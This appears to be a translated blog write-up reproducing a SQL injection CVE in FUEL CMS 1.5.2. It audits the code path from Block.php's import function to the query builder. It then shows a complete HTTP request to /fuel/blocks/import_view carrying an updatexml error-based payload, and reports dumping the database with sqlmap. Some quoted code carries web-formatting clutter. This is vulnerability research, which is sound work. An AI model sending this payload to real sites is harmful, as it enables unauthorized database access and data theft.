Foreword
When I went online, I saw the cves that appeared in the past few days. The problem was a CMS or SQL injection, so I tried to reproduce it.
Environment configuration
Download version 1.5.2 of the CMS on GitHub, still in 2022
https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.5.2
It took a long time to find out that the Windows environment is not supported, and after a long time of tossing on the virtual machine, I finally set up an environment on Linux
The matching environment is the most tormented
Code Audit
The vulnerability description says that it is in Block.php, just go in and have a look
Locate to the specified location, where the parameters passed in by the post are handed over to the import function
Search the import function, there are only two definitions, follow up to the first one
The function is annotated as follows
/** * Imports a block view file into the database * * @access public * @param string The name of the block file to import to the CMS * @param boolean Determines whether to sanitize the block by applying the php to template syntax function before uploading * @return string */
Track the whereabouts of the id parameter we passed in, and find that if it is not a number, it will enter find_by_name
Enter the above model(), follow all the way to MY_Model.php, query the find_by_name function and find that there is no
Enter __call() to see how it will be handled. At this time, $name=”find_by_name”, $args={$block, ‘array’}, and $block is the parameter passed in, that is, $args[0]
This sentence starts to process $args[0], the function name db should be coming soon, follow up to see what it does
/** * WHERE * * Generates the WHERE portion of the query. * Separates multiple calls with 'AND'. * * @param mixed * @param mixed * @param bool * @return CI_DB_query_builder */
Simple functions, simple comments, sql query statements
$key is an array containing the post[‘id’] parameter
protected function _wh($qb_key, $key, $value = NULL, $type = 'AND ', $escape = NULL) {<!-- --> $qb_cache_key = ($qb_key === 'qb_having') ? 'qb_cache_having' : 'qb_cache_where'; if ( ! is_array($key)) {<!-- --> $key = array($key => $value); } // If the escape value was not set will base it on the global setting is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($key as $k => $v) {<!-- --> $prefix = (count($this->$qb_key) === 0 & amp; & amp; count($this->$qb_cache_key) === 0) ?$this->_group_get_type('') : $this->_group_get_type($type); if ($v !== NULL) {<!-- --> if ($escape === TRUE) {<!-- --> $v = $this->escape($v); } if ( ! $this->_has_operator($k)) {<!-- --> $k .= ' = '; } } elseif ( ! $this->_has_operator($k)) {<!-- --> // value appears not to have been set, assign the test to IS NULL $k .= 'IS NULL'; } elseif (preg_match('/\s*(!?=|<>|\sIS(?:\s + NOT)?\s)\s*$/i', $k, $match, PREG_OFFSET_CAPTURE)) {<!-- --> $k = substr($k, 0, $match[0][1]).($match[1][0] === '=' ? ' IS NULL' : ' IS NOT NULL'); } ${<!-- -->$qb_key} = array('condition' => $prefix.$k, 'value' => $v, 'escape' => $escape); $this->{<!-- -->$qb_key}[] = ${<!-- -->$qb_key}; if ($this->qb_caching === TRUE) {<!-- --> $this->{<!-- -->$qb_cache_key}[] = ${<!-- -->$qb_key}; $this->qb_cache_exists[] = substr($qb_key, 3); } } return $this; }
The escape function processes our parameters and adds single quotes on both sides.
Then there are no important statements in _wh, let’s go back with return
Going back to __call, I found that this sentence has not been assigned, that is, $args[0] has not been modified, and the two single quotes added here are invalid
Continue to look down, use array_slice here to cut out the parameters
At this point $other_args={$_POST[‘id’], ‘array’}, the parameters are passed into db→order_by(), enter to see, there is nothing
Follow up to the last get() function
Finally, the get() function executes the query statement here, which leads to the generation of sql injection
Vulnerability reproduction
The packet is as follows
POST /fuel/blocks/import_view HTTP/1.1 Host: 192.168.139.132 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Accept: text/html,application/xhtml + xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: ci_session=5j709hntdehlophap6q8nqrillvu3qv8; fuel_778c418152542f974b2fc012e9f12679=a:2:{s:2:"id";s:1:"1";s:8:"language";s:7:"english";}; fuel_ui_ 778c418152542f974b2fc012e9f12679=% 7B%22leftnav_h3%22%3A%220%7C0%7C0%7C0%22%7D Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 34 id=1 AND updatexml(0x7e,0x7e,0x7e)
can reproduce successfully
Put it in sqlmap and run for a while, and the database is successfully exploded
And in the response data, you can also see the structure of the chain completely, which files, functions and lines have it.
So far the recurrence is over